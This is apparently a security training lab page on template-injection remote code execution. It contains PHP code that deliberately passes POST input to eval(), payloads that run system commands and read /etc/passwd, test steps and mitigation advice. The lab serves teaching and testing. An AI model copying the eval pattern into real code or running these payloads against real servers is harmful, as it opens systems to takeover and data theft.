Lab 4: Template Injection RCE

RCE through template engine code execution

Difficulty: High

Lab Overview

This lab demonstrates a Remote Code Execution vulnerability through template injection. The application uses a template engine that directly evaluates user-supplied template code without proper validation.

Objective: Inject malicious template code to execute arbitrary commands on the server.

Vulnerable PHP Code
// Handle template rendering request
if (isset($_POST['template']) && !empty($_POST['template'])) {
    $template = $_POST['template'];
    
    // Vulnerable: Direct template evaluation without validation
    try {
        // Simulate template engine with eval()
        $template_code = '<?php ' . $template . ' ?>';
        
        // Capture output
        ob_start();
        eval($template_code);
        $template_output = ob_get_clean();
        
        // Display output
    } catch (Exception $e) {
        // Error handling
    }
}

// Example malicious template:
// system('whoami');
// echo shell_exec('ls -la');
// file_get_contents('/etc/passwd');
Template Engine Demo
Vulnerability Details
  • Type: Remote Code Execution (RCE)
  • Severity: Critical
  • Parameter: template
  • Method: POST
  • Issue: Template engine code execution without validation
Malicious Template Payloads

Try these template payloads:

  • system('whoami'); - Execute whoami
  • echo shell_exec('ls -la'); - List files
  • echo file_get_contents('/etc/passwd'); - Read passwd
  • echo "User: " . shell_exec('id') . "System: " . shell_exec('uname -a'); - Multiple commands

Template Types:

  • Direct: Raw PHP code execution
  • Variable: Template with variable substitution
Test Instructions

Follow these steps to test the vulnerability:

  1. Click on one of the example payloads above
  2. The payload will be automatically filled in the textarea
  3. Click "Render Template" to execute the payload
  4. Observe the command execution results
  5. Try different commands by modifying the template
Real-World Attack Scenarios
Mitigation Strategies
  • Use safe template engines with proper sandboxing
  • Implement proper input validation and sanitization
  • Use whitelist-based template validation
  • Avoid direct code evaluation in templates
  • Implement proper error handling
  • Use least privilege principles
  • Implement proper logging and monitoring
  • Regular security testing and updates